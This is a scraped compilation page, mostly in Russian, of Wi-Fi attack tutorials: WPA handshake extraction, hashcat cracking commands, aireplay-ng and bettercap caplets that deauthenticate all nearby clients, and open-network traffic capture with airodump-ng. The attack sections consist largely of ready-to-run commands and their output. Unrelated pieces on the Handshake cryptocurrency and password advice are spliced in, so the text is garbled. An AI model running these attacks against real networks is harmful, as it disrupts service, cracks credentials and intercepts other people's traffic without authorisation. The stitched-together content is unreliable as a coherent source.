Содержание
- 1 Ручное разбитие файлов рукопожатий с помощью Wireshark
- 2 INTERNET NAME TRANSFERS USING COINS TO PREVENT SYBIL ATTACKS
- 3 Взлом WPA/WPA2 паролей в oclHashcat (Hashcat)
- 4 Примеры использования aireplay-ng
- 5 pwnagotchi
- 6 Как установить Hashcatch в Kali Linux
- 7 Preparation
- 8 Перехват трафика в открытых Wi-Fi сетях
- 9 Как создать самый стойкий пароль
- 10 Supported algorithms and GPU defaults
- 11 Общая информация о oclHashcat (Hashcat)
Ручное разбитие файлов рукопожатий с помощью Wireshark
Если вы работаете с файлом из слитых рукопожатий, то с ним не должно быть особых проблем. Открываем файл в Wireshark:
Можно использовать фильтр
wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol
Но он может оказаться и не нужным, поскольку и без того имеются только нужные пакеты.
Чтобы отфильтровать пакеты для определённой точки доступа, укажите её BSSID со следующим фильтром:
wlan.addr==BSSID
Например:
wlan.addr==28:28:5D:6C:16:24
Либо так:
(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol) && wlan.addr==28:28:5D:6C:16:24
Теперь с помощью CTRL+m выделите нужные пакеты:
И в меню File выберите Export Specified Packets:
Введите имя файла и поставьте переключатель на Marked packets only:
Проверяем наш файл:
Всё отлично. Можно сделать ещё одну проверку с помощью coWPAtty, запустив команду вида:
cowpatty -r ФАЙЛ -s ИМЯ_СЕТИ -c
Например, в моём случае:
cowpatty -r ZyXEL_59.pcap -s ZyXEL_59 -c
Фраза «Collected all necessary data to mount crack against WPA2/PSK passphrase» означает, что собраны все необходимые данные для взлома пароля.
Для вычленения рукопожатия из захвата, выполненного в шумных условиях, необходимо приложить некоторые усилия. Начинам с фильтрации (замените 84:C9:B2:52:F6:37 на BSSID интересующей вас сети):
(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol) && wlan.addr==84:C9:B2:52:F6:37
Хендшейк подходит для взлома пароля если:
- обязательно включает в себя второй элемент (M2), а также третий (M3) (гарантирует, что было сделано подключение к сети) или вместо третьего элемента содержит первый элемент (M1) (рукопожатие подходит для взлома пароля, но нет гарантий, что было выполнено подключение и что вообще был введён верный пароль). Лучше, если удалось захватить все четыре элемента;
- элементы рукопожатия должны следовать в нужном порядке;
- между ними не должно быть слишком большого интервала времени (измеряется миллисекундами и микросекундами).
Смотрим следующий пример.
Первый набор фреймов EAPOL (выделен чёрным) – не соблюдено правило, что кроме второго должно быть третье или первое сообщение.
Второй набор (красный) – только одно сообщение.
Третий набор (жёлтый) – нет третьего или первого сообщения.
Четвёртый набор (оранжевый) – нет второго сообщения.
Пятый набор (зелёный) – подходит, поскольку имеется второе и первое сообщение. Время между сообщениями кажется приемлемым.
Выделяем и сохраняем нужные фреймы (я также выделил фрейм Beacon):
Наш файл проходит проверки:
INTERNET NAME TRANSFERS USING COINS TO PREVENT SYBIL ATTACKS
Handshake is a piece of software (and a loose consensus on agreement of the software itself). This software’s primary function is for people to come to agreement on names and cryptographic keys authorized to represent that names in a decentralized way. To do this in a decentralized way, we need to prevent a single party from claiming all the names. Therefore, a unit of account is needed to prevent that single party from claiming all names.
Handshake uses a coin system for name registration. The Handshake coin (HNS) is the mechanism by which participants transfer, register, and update internet names. The community will be able to initiate auctions and place bids for top-level domains using HNS or trade their HNS as they see fit, with differing value per name.
Therefore, Handshake allocates the majority of its initial coins towards the FOSS community with absolutely no obligation attached, as it is this community most relevant with decentralized software and tools. The goal of the initial design was to account for all possible stakeholders. More info.
Handshake’s incentive design assumptions relies upon Metcalfe’s Law (Beckstrom’s Law, etc.). While Bitcoin’s value is derived from it being a costly store of value, Handshake’s value is derived from its network of users. Metcalfe’s Law asserts that an increase in userbase increases the value of the network (sub)exponentially. This means that allocation of value to potential developers and users of this system be a benefit to everyone, with network effect derived benefiting all users.
Взлом WPA/WPA2 паролей в oclHashcat (Hashcat)
Зачем использовать oclHashcat для взлома файлов рукопожатий WPA WPA2?
Pyrit самый быстрый, когда нам нужно взломать файлы рукопожатий WPA2 WPA. Так почему мы используем oclHashcat (Hashcat) для взлома файлов рукопожатий WPA2 WPA?
Потому что мы можем?
Потому что oclHashcat (Hashcat) позволяет нам настроить атаку с заданными правилами и масками. oclHashcat (Hashcat) позволяет нам использовать встроенные наборы символов для атаки на файл рукопожатия WPA2 WPA.
Более того, есть сообщения, что в системах с большим количеством видеокарт Pyrit оказывается медленнее чем oclHashcat. Автор отчёта говорит о плохой масштабируемости Pyrit. Я не могу это подтвердить или опровергуть.
Подробное описание все атак, доступных в oclHashcat (Hashcat) дано в статье «Виды атак oclHashcat (Hashcat)». Поэтому если вам что-то непонятно в составлении масок, то обратитесь к ней.
Нам нужно конвертировать файл рукопожатия (.cap), в формат .hccap, который понимает oclHashcat (Hashcat), а перед этим файл нужно очистить. Это нужно сделать обязательно, поскольку иначе ничего не получится.
Очистка файлов .cap программой wpaclean
Я буду показывать на примере файла с захваченным рукопожатием Narasu_3E-83-E7-E9-2B-8D.cap.
Для ручной очистки .cap используйте следующую команду в Kali Linux:
wpaclean <out.cap> <in.cap>
Обратите внимание, что, вопреки логике, сначала идёт выходной файл, а потом входной . Казалось бы, логичнее было
Запомните это, чтобы не терять время на выяснение проблемы.
В моём случае команда выглядит так:
wpaclean hs/out.cap hs/Narasu_3E-83-E7-E9-2B-8D.cap
Конвертация файлов .cap в формат .hccap
Нам нужно конвертировать этот файл в формат, понятный oclHashcat.
Для его конвертирования в формат .hccap с помощью aircrack-ng нам нужно использовать опцию -J
aircrack-ng <out.cap> -J <out.hccap>
Обратите внимание -J это заглавная J, а не маленькая j.
В моём случае команда следующая:
aircrack-ng hs/out.cap -J hs/out
Атака по словарю на рукопожатие:
oclHashcat --force -m 2500 /root/hs/out.hccap /root/rockyou.txt
Здесь:
- -m 2500 — атака на WPA/WPA2 пароль
- /root/hs/out.hccap — наш файл, который мы получили после очистки и конвертации
- /root/rockyou.txt — словарь, по которому осуществляется перебор.
Атака брутфорсом на рукопожатие:
oclHashcat -m 2500 -a 3 /root/hs/out.hccap ?d?d?d?d?d?d?d?d
Здесь:
- -a 3 — атака брут-форсом
- /root/hs/out.hccap — наш файл, который мы получили после очистки и конвертации
- ?d?d?d?d?d?d?d?d — маска (восемь цифр)
Примеры использования aireplay-ng
Как обычно, начнём с переводы карты в режим монитора (если вы ещё этого не сделали) как описано здесь.
Теперь нам нужно узнать ВSSID точки доступа, от которой мы будет отключать клиентов. Это можно сделать с помощью программы airodump-ng (справка по программе airodump-ng в Энциклопедии Kali Linux)
airodump-ng wlan0
Нас интересует сеть Mial, её ВSSID 20:25:64:16:58:8C
Я не нашёл клиентов этой сети, поэтому не указываю эту опцию. Также я поставил для количества отправляемых пакетов.
Ещё обращаем внимание на канал, он равен единице. Установить канал можно командой iwconfig wlan0 channel n, где вместо n нужно подставить номер канала.. Таким образом, для успешной атаки нам нужно последовательно выполнить две команды:
Таким образом, для успешной атаки нам нужно последовательно выполнить две команды:
iwconfig wlan0 channel 1 aireplay-ng -0 0 -a 20:25:64:16:58:8C wlan0
Вывод будет примерно таким:
root@HackWare:~# iwconfig wlan0 channel 1 root@HackWare:~# aireplay-ng -0 0 -a 20:25:64:16:58:8C wlan0 20:59:42 Waiting for beacon frame (BSSID: 20:25:64:16:58:8C) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 20:59:42 Sending DeAuth to broadcast -- BSSID: 20:59:42 Sending DeAuth to broadcast -- BSSID: 20:59:43 Sending DeAuth to broadcast -- BSSID: 20:59:43 Sending DeAuth to broadcast -- BSSID: 20:59:44 Sending DeAuth to broadcast -- BSSID: 20:59:44 Sending DeAuth to broadcast -- BSSID: 20:59:45 Sending DeAuth to broadcast -- BSSID: 20:59:45 Sending DeAuth to broadcast -- BSSID: 20:59:45 Sending DeAuth to broadcast -- BSSID: 20:59:46 Sending DeAuth to broadcast -- BSSID: 20:59:46 Sending DeAuth to broadcast -- BSSID: 20:59:47 Sending DeAuth to broadcast -- BSSID: 20:59:47 Sending DeAuth to broadcast -- BSSID: 20:59:48 Sending DeAuth to broadcast -- BSSID: 20:59:48 Sending DeAuth to broadcast -- BSSID: 20:59:49 Sending DeAuth to broadcast -- BSSID: 20:59:49 Sending DeAuth to broadcast -- BSSID: 20:59:50 Sending DeAuth to broadcast -- BSSID:
Пока программа работает, невозможно подключиться к этой точке доступа.
Вместо ВSSID можно указывать более понятное имя (ESSID). Делается это с опцией -e. Т.е. для моего примера команда приобретёт вид:
aireplay-ng -0 0 -e Mial wlan0
Она равнозначна предыдущей и точно также прекрасно отработает.
pwnagotchi
Здорова, щеглы, сегодня своими руками мы будем делать pwnagotchi. Для этого нам понадобится создать файл pwnagotchi.cap:
gedit pwnagotchi.cap
Скопируйте в него:
# set wifi.recon.channel 1,2,3,4,5,6,7,8,9,11,12 # set wifi.region 00 set ticker.period 20 set ticker.commands clear; wifi.show; wifi.assoc all; sleep 7; wifi.deauth all wifi.recon on sleep 5 ticker on events.ignore wifi.client.probe events.clear clear
Запускать надо так (вместо wlp0s20f0u2 впишите имя вашего беспроводного интерфейса):
sudo bettercap -iface wlp0s20f0u2 -caplet pwnagotchi.cap
Таким образом я погулял по округе с ноутбуком и, как меня уверяет bettercap, набрал несколько десятков рукопожатий. Но строгий aircrack-ng далеко не все из них признаёт пригодными для работы:
В этом каплете всё довольно понятно. Закомментированные строки:
# set wifi.recon.channel 1,2,3,4,5,6,7,8,9,11,12 # set wifi.region 00
не работают, вы можете их расскомментировать и, в случае необходимости, подправить под свои значения. У меня у интерфейса wlp0s20f0u2 уже настроена txpower на 30.00 dBm. Если вы тоже настроили себе повышенную мощность и после запуска bettercap мощность падает, то посмотрите исходное значение, при котором мощность нормальная:
sudo iw reg get
И впишите в качестве wifi.region. Больше по теме мощности смотрите в статье «Как увеличить мощность (TX Power) Wi-Fi карты в Kali Linux и BlackArch».
Строка
set ticker.period 20
устанавливает повторение цикла команд каждые 20 секунд.
А сам набор команд для цикла описан этой строкой:
set ticker.commands clear; wifi.show; wifi.assoc all; sleep 7; wifi.deauth all
То есть wifi.show — показывает обобщённую таблицу с собранной информацией. Затем запускается команда wifi.assoc all для инициации подключения ко всем ТД и сбора PMKID от всех точек доступа. Затем sleep 7 включает паузу на 7 секунд — я НЕ знаю, действительно ли необходима пауза и сколько времени для неё требуется, попробуйте потестировать разные варианты. Затем идёт команда wifi.deauth all, которая деаутентифицирует всех клиентов — на эту команду отводятся оставшиеся 13 секунд из 20 секундного цикла.
При этом сбор информации о ТД и прослушивание рукопожатий выполняются непрерывно.
Кстати, поскольку все собранные данные дампятся в один единственный файл, вам придётся, во-первых, внимательно изучить статью «Как извлечь рукопожатия из файла захвата с несколькими рукопожатиями» и, во-вторых, извлекать нужные вам рукопожатия практически вручную, как описано в той статье.
Про взлом PMKID хеша смотрите все статьи по тегу pmkid.
На картинке AWUS1900 самого Simone Margaritelli (возможно подключена к pwnagotchi):
Как установить Hashcatch в Kali Linux
Установка зависимостей:
sudo apt install hcxtools jq
Создание необходимых папок и файлов для программы:
sudo mkdir -p /usr/share/hashcatch/handshakes/ /etc/hashcatch/ sudo touch /usr/share/hashcatch/db
Скачивание скрипта:
git clone https://github.com/staz0t/hashcatch cd hashcatch/
Теперь нужно сгенерировать конфигурационный файл, для этого запустите команду:
sudo ./hashcatch --setup
Скрипт спросит у вас имя беспроводного интерфейса, если вы его не помните, то используйте команду:
iw dev
В дальнейшем если понадобиться выбрать другой беспроводной интерфейс для использования, то вновь запустите команду:
sudo ./hashcatch --setup
Либо просто откройте любым текстовым редактором файл /etc/hashcatch/hashcatch.conf и впишите нужное имя.
Кстати, при работе программа сохраняет захваченный рукопожатия в папку /usr/share/hashcatch/handshakes/, а информацию о ТД, для которых удалось поймать handshake, записывает в файл /usr/share/hashcatch/db. Эти значения прописаны в исходном коде программы:
При желании вы можете отредактировать их под более удобные расположения:
gedit hashcatch
Для этого замените значения этих переменных:
f_config="/etc/hashcatch/hashcatch.conf" f_db="/usr/share/hashcatch/db" d_handshakes="/usr/share/hashcatch/handshakes/"
Если у вас только один Wi-Fi интерфейс, то рекомендуется закрыть программы, которые могут оказывать на него влияние:
sudo systemctl stop NetworkManager sudo airmon-ng check kill
Если интерфейс в состоянии down, переводим его в up (замените wlan0 на ваш интерфейс)
sudo ip link set wlan0 up
Preparation
hashcat is very flexible, so I’ll cover three most common and basic scenarios:
-
Dictionary attack
-
Brute-Force attack
-
Rule-based attack
Dictionary attack
- Put it into the hashcat folder.
- Rename your converted capture file “capture.hccapx”.
- On Windows, create a batch file “attack.bat”, open it with a text editor, and paste the following:
hashcat.exe -m 2500 capture.hccapx rockyou.txt pause
Execute the attack using the batch file, which should be changed to suit your needs.
Brute-Force Attack
- Rename your converted capture file “capture.hccapx”.
- Create a batch file “attack.bat”, open it with a text editor, and paste the following:
hashcat.exe -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d pause
This will pipe digits-only strings of length 8 to hashcat. Replace the ?d as needed.
It would be wise to first estimate the time it would take to process using a calculator.
TBD: add some example timeframes for common masks / common speed
Rule-based attack
This is similar to a Dictionary attack, but the commands look a bit different:
hashcat.exe -m 2500 -r rules/best64.rule capture.hccapx rockyou.txt pause
This will mutate the RockYou wordlist with best 64 rules, which come with the hashcat distribution.
Change as necessary and remember, the time it will take the attack to finish will increase proportionally with the amount of rules.
Перехват трафика в открытых Wi-Fi сетях
Для успешной атаке нужен компьютер на Linux (например, с Kali Linux или с BlackArch), а также Wi-Fi карта из этого списка.
Начнём с того, что посмотрим имена беспроводных интерфейсов:
iw dev
Как можно увидеть, у меня несколько беспроводных интерфейсов, я буду использовать wlp0s20f0u2.
Переводим беспроводной интерфейс в режим монитора:
sudo ip link set ИНТЕРФЕЙС down sudo iw ИНТЕРФЕЙС set monitor control sudo ip link set ИНТЕРФЕЙС up
В предыдущих командах вместо ИНТЕРФЕЙС нужно вписать то имя, которое беспроводной интерфейс имеет в вашей системе. Например, для wlp0s20f0u2 команды выглядят так:
sudo ip link set wlp0s20f0u2 down sudo iw wlp0s20f0u2 set monitor control sudo ip link set wlp0s20f0u2 up
Запускаем airodump-ng командой вида:
sudo airodump-ng ИНТЕРФЕЙС -t OPN
Где:
- ИНТЕРФЕЙС — имя беспроводного интерфейса в вашей системе
- -t OPN — фильтр, который показывает только открытые Wi-Fi сети
У меня интерфейс называется wlp0s20f0u2, поэтому я запускаю следующей командой:
sudo airodump-ng wlp0s20f0u2 -t OPN
Пример полученных данных:
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:15:6D:9A:26:C0 -35 19 454 8 1 65 OPN Anan Apartment 00:15:6D:9C:26:84 -45 29 1 0 6 65 OPN Anan Apartment 00:27:22:02:C0:D0 -64 17 0 0 1 65 OPN Anan Apartment C8:3A:35:01:3F:90 -78 9 1 0 11 135 OPN Tenda
Как можно увидеть, имеется сразу несколько открытых Точек Доступа
В принципе, можно выбрать любую из них для перехвата данных, но нужно помнить, что: для успешного анализа данных важно захватить передаваемые данные и от ТД, и от Клиентов. То есть я могу выбрать для захвата данных дальнюю ТД и, вероятно, я буду захватывать большую часть её беспроводных фреймов, но дело в том, что у Клиентов обычно менее мощные беспроводные передатчики
Также Клиенты могут находиться ещё дальше от меня, чем сама Точка Доступа. По этой причине лучше выбирать самую близкую ТД. Чем больше значение PWR, тем лучше сигнал (на всякий случай напомню: отрицательные числа чем ближе к нулю, тем они больше). Например, в моей ситуации я выбираю ТД с сигналом -35.
Направленные антенны могут значительно улучшить качество беспроводного соединения, если направлены в нужную сторону. Что касается захвата данных, то лучше не использовать направленную антенну, поскольку ТД может быть в одном направлении, а её Клиенты — в других. Желательно использовать большую внешнюю антенну.
Неважно, является ли ТД хот-спотом с авторизацией на веб-интерфейсе (Captive Portal — Перехватывающим Порталом) или просто открытой Точкой Доступа — описанный способ перехвата работает одинаково для любого из этих вариантов.
Для захвата данных вновь запускаем airodump-ng, но уже командой вида:
sudo airodump-ng ИНТЕРФЕЙС --channel НОМЕР --write openap
Где:
- ИНТЕРФЕЙС — имя беспроводного интерфейса,
- —channel НОМЕР — номер канала, на котором находится целевая ТД
- —write openap — опция для сохранения захваченных данных в файл. В данном случае название файла будет начинаться с openap (можно поменять на своё усмотрение)
Например, я хочу прослушивать ТД, которая работает на первом канале, для этого я хочу использовать беспроводной интерфейс wlp0s20f0u2 и сохранять перехваченную информацию в файл, имя которого начинается на openap, тогда моя команда следующая:
sudo airodump-ng wlp0s20f0u2 --channel 1 --write openap
Далее ждём, когда соберётся достаточно данных. Анализировать данные можно прямо в процессе захвата — без остановки airodump-ng.
Как создать самый стойкий пароль
Ни один человек не хочет, чтобы его кодами, а в конечном итоге и личными данными, завладел злоумышленник. Даже человек, который устанавливает столь простой пасс, надеется, что его никогда не взломают. Существует несколько правил для составления правильного и надёжного пассворда, способного защитить конфиденциальную информацию:
- Последовательность должна содержать минимум девять символов;
- Среди символов должны присутствовать цифры, буквы в зависимости от разрешённого алфавита и специальные символы по типу !, ?, @, %, #, &, и других;
- Все символы должны располагаться в хаотичном порядке, чтобы было невероятно сложно подобрать его даже с помощью программ перебора;
- Символы должны быть использованы в различных регистрах (а и А);
- Не записывать код на электронный или бумажный носитель;
Важно! Пассворд не должен состоять из популярных слов и устойчивых выражений на русском и на английском языках. Таких конструкций следует избегать так же, как и простых комбинаций цифр, фамилий, имен
Рекомендуется подбирать такой пасс, который легко запомнить мысленно, но трудно взломать или подобрать. Например, если у человека имя Виктор и он ездит на голубом BMW, то пароль может выглядеть как Victor123BlueBmw, BlueBMW777Victor и так далее.
Приложение-банк паролей от Wi-Fi сетей всего мира
Возможно, про весь мир громко сказано, ведь, как правило, человеку нужно знать код доступа определенного пользователя или людей, живущих в его доме, но следующее приложение будет очень полезно для всех. Ни одна беспроводная сеть не создается просто так, у нее всегда есть пользователи: постоянные или временные.
Более того, коды доступа для многих сетей не меняются годами, а значит, их можно найти в свободном доступе или спросить у бывших или активных пользователей сети. Именно до этого и додумались разработчики программы Wifi Map Pro. После установки на смартфон она считывает все доступные пароли роутеров, к которым было совершено подключение, и делится ими со всеми людьми, пользующимися этим софтом.
Программы для взлома
В этом разделе содержатся программы, позволяющие взломать пароль сети или любой другой пасс и тем самым проверить, является ли он надёжным или нет. Очень печально, когда человек подбирает пароль, а он спокойно взламывается специальными программами. Чтобы такого не было, нужно тщательно подобрать комбинацию защитных символов и проверить ее надёжность в следующих программах:
- Wi-FI Sidejacking;
- AirSlax;
- Aircrack-ng.
Эта статья показала худшие пароли в интернете. Никогда не стоит экономить средства и время на свою безопасность и конфиденциальность, так как это может очень дорого стоить в будущем. Лучше один раз и навсегда придумать надёжный пассворд, чем даже один раз попасться на взлом домашней сети, аккаунта в социальной сети или электронной почты.
Supported algorithms and GPU defaults
Hash-Type | —gpu-accel (NVidia) | —gpu-loops (NVidia) | —gpu-accel (AMD) | —gpu-loops (AMD) |
---|---|---|---|---|
MD5 | 128 | 512 | 256 | 256 |
md5($pass.$salt) | 128 | 512 | 256 | 256 |
Joomla | 128 | 512 | 256 | 256 |
md5($salt.$pass) | 64 | 128 | 256 | 256 |
osCommerce, xt:Commerce | 64 | 128 | 256 | 256 |
md5(unicode($pass).$salt) | 128 | 512 | 256 | 256 |
md5($salt.unicode($pass)) | 64 | 128 | 256 | 256 |
HMAC-MD5 (key = $pass) | 64 | 64 | 64 | 64 |
HMAC-MD5 (key = $salt) | 64 | 64 | 64 | 64 |
SHA1 | 64 | 128 | 128 | 128 |
nsldap, SHA-1(Base64), Netscape LDAP SHA | 64 | 128 | 128 | 128 |
sha1($pass.$salt) | 64 | 128 | 128 | 128 |
nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | 64 | 128 | 128 | 128 |
Oracle 11g | 64 | 128 | 128 | 128 |
sha1($salt.$pass) | 64 | 64 | 128 | 128 |
SMF > v1.1 | 64 | 64 | 128 | 128 |
OSX v10.4, v10.5, v10.6 | 64 | 64 | 128 | 128 |
sha1(unicode($pass).$salt) | 64 | 64 | 128 | 128 |
MSSQL(2000) | 64 | 64 | 128 | 128 |
MSSQL(2005) | 64 | 64 | 128 | 128 |
sha1($salt.unicode($pass)) | 64 | 64 | 128 | 128 |
EPiServer 6.x < v4 | 64 | 64 | 128 | 128 |
HMAC-SHA1 (key = $pass) | 64 | 32 | 64 | 64 |
HMAC-SHA1 (key = $salt) | 64 | 32 | 64 | 64 |
sha1(LinkedIn) | 64 | 64 | 128 | 128 |
MySQL | 64 | 64 | 64 | 64 |
phpass, MD5(WordPress), MD5(phpBB3) | 64 | 128 | 16 | 16 |
md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 | 64 | 64 | 16 | 16 |
MD4 | 128 | 512 | 256 | 256 |
NTLM | 128 | 512 | 256 | 256 |
Domain Cached Credentials, mscash | 64 | 256 | 128 | 128 |
SHA256 | 64 | 128 | 64 | 64 |
sha256($pass.$salt) | 64 | 128 | 64 | 64 |
sha256($salt.$pass) | 64 | 64 | 64 | 64 |
sha256(unicode($pass).$salt) | 64 | 128 | 64 | 64 |
sha256($salt.unicode($pass)) | 64 | 64 | 64 | 64 |
EPiServer 6.x > v4 | 64 | 64 | 64 | 64 |
HMAC-SHA256 (key = $pass) | 64 | 64 | 32 | 32 |
HMAC-SHA256 (key = $salt) | 64 | 64 | 32 | 32 |
descrypt, DES(Unix), Traditional DES | 64 | 16 | 16 | 16 |
md5apr1, MD5(APR), Apache MD5 | 64 | 64 | 16 | 16 |
SHA512 | 64 | 32 | 32 | 32 |
sha512($pass.$salt) | 64 | 32 | 32 | 32 |
SSHA-512(Base64), LDAP {SSHA512} | 64 | 32 | 32 | 32 |
sha512($salt.$pass) | 64 | 16 | 32 | 32 |
OSX v10.7 | 64 | 16 | 32 | 32 |
sha512(unicode($pass).$salt) | 64 | 32 | 32 | 32 |
MSSQL(2012) | 64 | 32 | 32 | 32 |
sha512($salt.unicode($pass)) | 64 | 16 | 32 | 32 |
HMAC-SHA512 (key = $pass) | 64 | 16 | 16 | 16 |
HMAC-SHA512 (key = $salt) | 64 | 16 | 16 | 16 |
sha512crypt, SHA512(Unix) | 8 | 4 | 16 | 16 |
Domain Cached Credentials2, mscash2 | 8 | 8 | 16 | 16 |
Cisco-PIX MD5 | 64 | 512 | 256 | 256 |
WPA/WPA2 | 8 | 8 | 16 | 16 |
Double MD5 | 64 | 256 | 128 | 128 |
vBulletin < v3.8.5 | 64 | 256 | 128 | 128 |
vBulletin > v3.8.5 | 64 | 128 | 64 | 64 |
IPB2+, MyBB1.2+ | 64 | 128 | 64 | 64 |
LM | 64 | 128 | 16 | 16 |
Oracle 7-10g, DES(Oracle) | 8 | 64 | 16 | 16 |
bcrypt, Blowfish(OpenBSD) | 8 | 16 | 16 | 16 |
SHA-3(Keccak) | 64 | 64 | 64 | 64 |
Half MD5 | 64 | 512 | 256 | 256 |
Password Safe SHA-256 | 8 | 8 | 16 | 16 |
IKE-PSK MD5 | 64 | 128 | 128 | 128 |
IKE-PSK SHA1 | 64 | 128 | 128 | 128 |
NetNTLMv1-VANILLA / NetNTLMv1+ESS | 64 | 128 | 128 | 128 |
NetNTLMv2 | 64 | 128 | 128 | 128 |
Cisco-IOS SHA256 | 64 | 256 | 64 | 64 |
Samsung Android Password/PIN | 64 | 16 | 16 | 16 |
RipeMD160 | 64 | 128 | 64 | 64 |
Whirlpool | 64 | 64 | 64 | 64 |
AIX {smd5} | 64 | 64 | 16 | 16 |
AIX {ssha256} | 8 | 8 | 16 | 16 |
AIX {ssha512} | 8 | 8 | 16 | 16 |
1Password | 8 | 8 | 16 | 16 |
AIX {ssha1} | 8 | 8 | 16 | 16 |
Lastpass | 8 | 8 | 16 | 16 |
GOST R 34.11-94 | 64 | 64 | 64 | 64 |
OSX v10.8 | 8 | 4 | 16 | 16 |
GRUB 2 | 8 | 4 | 16 | 16 |
sha256crypt, SHA256(Unix) | 8 | 4 | 16 | 16 |
Kerberos 5 AS-REQ Pre-Auth etype 23 | 64 | 64 | 64 | 64 |
Общая информация о oclHashcat (Hashcat)
Варианты Hashcat
Hashcat поставляется в двух вариантах:
- Hashcat – Инструмент по восстановлению паролей использующий центральный процессор
- oclHashcat – Инструмент использующий графический процессор
Многие алгоритмы, поддерживаемые Hashcat, могут быть взломаны в более короткое время, при использовании хорошо документированных возможностей GPU. Для этого и предназначена программа oclHashcat, при её использовании достигается значительный прирост в таких алгоритмах как MD5, SHA1 и других. Тем не менее, не все алгоритмы могут быть ускорены использованием GPU. Bcrypt — хороший этому пример. Из-за таких факторов как ветвление зависимостей данных, сериализация и память (упомянуты только некоторые), oclHashcat не является всеобъемлющей заменой для Hashcat.
oclHashcat и Hashcat доступны для Linux, OSX и Windows. Причём если мы говорим о скорости взлома с использованием графического процессора, то скорость перебора хешей на одном компьютере на разных ОС (на Linux и Windows) будут идентичными, поскольку на рабботу GPU система не влияет.
Hashcat предустановлена в Kali Linux. Для установки oclHashcat ознакомьтесь с разделом «Как установить oclHashcat в Kali Linux 2».
oclHashcat, как скромно замечают сами авторы, это самый быстрый инструмент по восстановлению паролей, использующий графический процессор. Программа бесплатна, хотя она содержит проприетарную кодовую базу. Доступны версии для Linux, OSX и Windows, есть варианты для использования центрального вычислительного процессора и для использования графического процессора. oclHashcat в настоящее время поддерживает огромное количество алгоритмов хеширования, включая Microsoft LM Hashes, MD4, MD5, семейство SHA, форматы Unix Crypt, MySQL, Cisco PIX и многие другие (их там сотни). Чуть меньше, но достаточно много алгоритмов поддерживает Hashcat.
Типы атак oclHashcat
Hashcat предлагает множество моделей атак для получения эффективного и комплексного покрытия пространства хешей. Есть следующий режимы:
- Атака брут-форсом (перебором)
- Комбинаторная атака
- Атака по словарю
- Атака по отпечаткам
- Гибридная атака
- Атака по маске
- Перестановочная атака
- Атака основанная на правиле
- Табличная атака
- Атака с переключением раскладки
Традиционную атаку перебором можно считать устаревшей, и команда разработчиков Hashcat рекомендует атаку по маске в качестве полного заменителя.